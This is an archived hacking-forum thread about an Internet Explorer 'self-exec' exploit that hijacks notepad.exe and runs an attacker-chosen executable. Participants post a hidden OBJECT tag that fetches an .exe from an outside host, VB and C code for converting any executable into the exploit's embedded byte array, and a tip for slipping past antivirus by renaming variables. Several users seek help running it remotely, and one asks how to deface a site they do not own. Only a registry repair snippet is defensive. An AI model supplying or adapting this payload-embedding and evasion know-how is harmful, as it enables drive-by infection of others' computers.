hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: New Ie Exploit
EoS
hi, i found that exploit on illmob.org, but i cant figure out how to use it with a own file of my choice.... can anyone chekc it out and tell me how?
http://www.illmob.org/0day/internet%20expl...s/self-exec.zip

thx!
Yorn
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\notepad.exe

Gets modified.

Simple shell spawning when using notepad to open. If illmob wanted to they could actually mask the application's presence and put notepad back. I don't know why they didn't do that in the first place.

I guess they didn't make it, but malware.com has been dead for centuries so I don't know where this actually came from.
Yorn
Oh yeah, you might want this so it doesn't run it anymore.

CODE

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\notepad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\notepad.exe\shell]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\notepad.exe\shell\edit]
@="&Edit"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\notepad.exe\shell\edit\command]
@="C:\\WINDOWS\\notepad.exe %1"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\notepad.exe\shell\open]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\notepad.exe\shell\open\command]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\
& nbsp;00,5c,00,4e,00,4f,00,54,00,45,00,50,00,41,00,44,00,2e,00,45,00,58,00,45,00,
\
 20,00,25,00,31,00,00,00


copy and paste into a .reg file and then double-click and go to open a new .txt file and reassign notepad's location.
Thebass
how do we exec a file at yout choice?
Yorn
QUOTE (wicked @ Nov 6 2003, 02:41 PM)
lol Yorn was jst checking out your little Ie Exploit:
Nice....

ps:don't delete my Windows folder...  wink.gif

pps: I can do it myself... lmao....

Fdrive.bat

CODE
<OBJECT STYLE="display:none" DATA="?test.exe" tppabs="http://sec.gravito.com/hta/?test.exe">
</OBJECT>


Where did that "tppabs=" part come from?

And I'm not going to deltree anyone's windows except the idiots that PM me on here saying "Yo' Dude! It doesn't work on patched computers, man. What do I do to get it to work on a computer with patched IE?"

The answer in all those cases is usually: "Hell, I don't know."

So when I don't even bother to type up a response they get all upset and ask me again and why I'm avoiding them. Ugh. I don't mind feedback on stuff I've written, but I'd like it to be in a thread I wrote on here or via email. I guess maybe I'm just being too picky.
wicked
CODE
<OBJECT STYLE="display:none" DATA="?test.exe" tppabs="http://sec.gravito.com/hta/?test.exe">
</OBJECT>


'tppabs=" ?? lmao... was wondering about that myself.....hmm

maybe jst a gliche in my copy & Paste Technique...

*Shrugs*... And yep I jst get PM'd for Passwordz that are so Obvious ppl jst plain over look it!..

lmao...

Apart from that I better be doin some Studying...up on my html skillz ehh?

lmao..

CIAO!
aiboforcen
Hi, how do I convert a exe to this:
jelmersArray= array(77,90,68,1,5,0,2,0,32,0,33,0,255,255,117,0,0 bla bla bal....)
as in the malware exploit on illmobs site.
extreme
I made a mistake and haven't backed up my notepad.exe
I tryed to start your REG file example, but it fixed nothing. I have two notepad.exe files. One in windows/system32, and other in windows/ but they are both acting as mallware.exe when executed... I mean, I see "flames" when I execute any one of them... I guess I must find someone with XP to give me original notepad.exe...
EoS
thats what i wanted to know in the first place, hpw to convert a exe into that code...
what
fun exploit, i really like the burning fire. . . . Works locally fine, i'm going to see about remotely. IE's exploits just seem to be piling up. Where's the next patches, or are they just going to forget it, like DCOM. mad.gif Anyways, I'll continue testing. My ISP cancelled my account, so I haven't been around for a while. I'll try content-type etc, etc, see what happens, post results later.
extreme
Yorn, will that registry fix work for all OSes????
ALso, is this exploit local only, or it can be remote too???

Let me answer my first question... No. Your registry fix doesn't work for all OSes. I have XP Pro, and after I apply the your reg patch, TXT files are still executed by notepad.exe that is downloaded in to windows/system32, and not from original one that is in /windows/
what
alright, this took me about five minutes to get to work remotely. The exploits are just piling up! I'll set up a proof of concept later, we'll see what happens.
extreme
Do you think it could be done to work with Outlook express??? I tryed everything, even with triple slash(file:///), but I don't know where is temp EXE file located... You think you could help me with that?
EoS
Im still wondering how to insert an exe of my choice into that code
extreme
You can covert it with any EXE2VBS tool... I propose that you find one from Zombie...
matiano
QUOTE (EoS @ Nov 12 2003, 09:19 AM)
Im still wondering how to insert an exe of my choice into that code

i´m wondering too unsure.gif
...how convert any exe file to decimal,
which pasted here --->
jelmersArray= array(CONVERT DECIMAL CODE) ?

i´ve tried zombies EXE2VBS and cut the the dec code
and put it then to the notepad exploit but it doesn`t work sad.gif

can somebody please help me ph34r.gif
trinity
It dowsn't work for me (Win2k SP4 with 1 months old Windows Updatepatches).
Bye,
Tnty ph34r.gif
matiano
ok its works for me
when i´m unpatched

somebody know...
does the exploit remotely work on webserver ?
rolleyes.gif
AdmiralB
conversion probaly nids a proggie my 2cents of help
matiano
hi AdmiralB

i dont know what you mean blink.gif 2cent?


was this the answer of my question ?

sorry for my little bit english rolleyes.gif
headbanger
QUOTE (matiano @ Dec 29 2003, 10:48 PM)
hi AdmiralB

i dont know what you mean blink.gif 2cent?


was this the answer of my question ?

sorry for my little bit english rolleyes.gif

he means that its his opinion..
ara
thank god for firebird!
thotho
thanks 4 the exploit
piopio
inject another exe is extremely easy... but this code seems to work only if u double click the .html file.... otherwise doesn't work via web-server...
I think this is possible, any help would be appreciated..
best regards

( i know, my eng sux )
DrDoc
Jo big thx 4 da exploit it works fine on my localhost smile.gif

Cya Doc
PiP
it gets picked up by NAV

but if u change all the variable names it seems to let it through ok

also for those who where asking how to convert your own exe's into that format here is a function i wrote in VB that will do it


CODE

' pretty self explanetry so i havnt comented much
' one small 'bug' though, remove the trailing comma (",")
' of the end of the array...Lazy coding by me.

Public Function fileToDec(file_name As String)
Dim file_length As Long
Dim fnum As Integer
Dim bytes() As Byte
Dim txt As String
Dim i As Integer

   file_length = FileLen(file_name)

   fnum = FreeFile
   ReDim bytes(1 To file_length)

   Open file_name For Binary As #fnum Len = file_length
   Get #fnum, 1, bytes
   Close fnum
   
   
   For i = 1 To file_length
       txt = txt & Format$(bytes(i)) & ","
   Next i
   
   Open file_name & ".txt" For Output As #fnum
       Print #fnum, txt
   Close #fnum
End Function


I have tested it with a small c program and it had no problems

//test.c
#include <stdio.h>

void main()
{
printf("Helllo\n");
printf("Helllo\n");
}
Yellow_Blue
nice exploit but no so useful
tnx anyway
dry.gif
RSTD
It doesn't work for me
ST.
it can be useful sometimes
esorone
QUOTE (ST. @ Jan 19 2004, 10:47 PM)
it can be useful sometimes

I agree,

Maybe if you would like to execute something remote.

DerangeD
doesnt work here !!

but thanks tho smile.gif
camilo
use this code copy with notepad to.. dumpdec.c .. compile with gcc for linux.. or "tc "borland for win32
CODE
/*
Copyright (C) Pipancho

Este programa es software libre, ud lo puede distribuir o modificar bajo los terminos de la licencia GPL

http://www.gnu.org/licenses/gpl.html
*/
#include <stdlib.h>
#include <stdio.h>


int main(int argc, char *argv[]){
FILE *archi;
int caracter;

if (argc>1)
if ((archi = fopen(argv[1],"rb")) != NULL){
while ((caracter = getc(archi)) != EOF) {
printf("%d,",caracter);
}
putchar('#');
fclose(archi);
}
else {
printf("No existe el archivo: %s\n",argv[1]);
exit(2);
}

else {
printf("Falta el parámetro.");
exit(3);
}

return (0);
}


comandline:

dumpdec.exe -f your_executable.exe >> copypaste.txt.... and copy/paste copypaste.txt in the self-exec.htm.
for use in a webserver you can use the winamp+winxp exploit
biggrin.gif saludos (p/d:sorry for mi english)
DvilleStoner
interesting reading
trdiablo
I can't start a new topic, so i post my question here.

I have been reading a lot of posts now, and now i want to ask something.

I was surfing a site and then i tried to exploit it by typing some extra charakters behind the url.

So the original url is like this
http://example.example.nl/main.asp?rubriek...&document_id=99

And i added about then 9's to rubriek_id=
And after that i added about 200 9's to document_id=

That resulted in this error ph34r.gif :

Microsoft VBScript runtime error '800a0006'

Overflow: 'd_id'

/main.asp, line 43

Now i want to exploit this by using a simple javascript file to upload a new index.html to the site. I dont want to do any harm. This is just for education.
I know the webmaster and he is a moron and does not care about security.

Can anyone advise me which tutorial to read or just help me with some tips?
Thanx in advance en dont flame me if you think my question is stupid. unsure.gif
extreme
ASP buffer overflow?? I haven't heard of a way to exploit it, but maybe someone else is more expertised.....
BrandonTurner
ok, i got that program but when i put my string in the .html it is way too long and causes a memory overflow error. i noticed that the malware.exe(fire thing) is only 2.1 kb which is really small compared to my 243 kbs exe and the malware string is much smaller then mine. is there anyway to fix this?


edit: i fixed it, you just have to open it up in notepad and use word wrap and then save it and it can handle it i guess. :-/
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.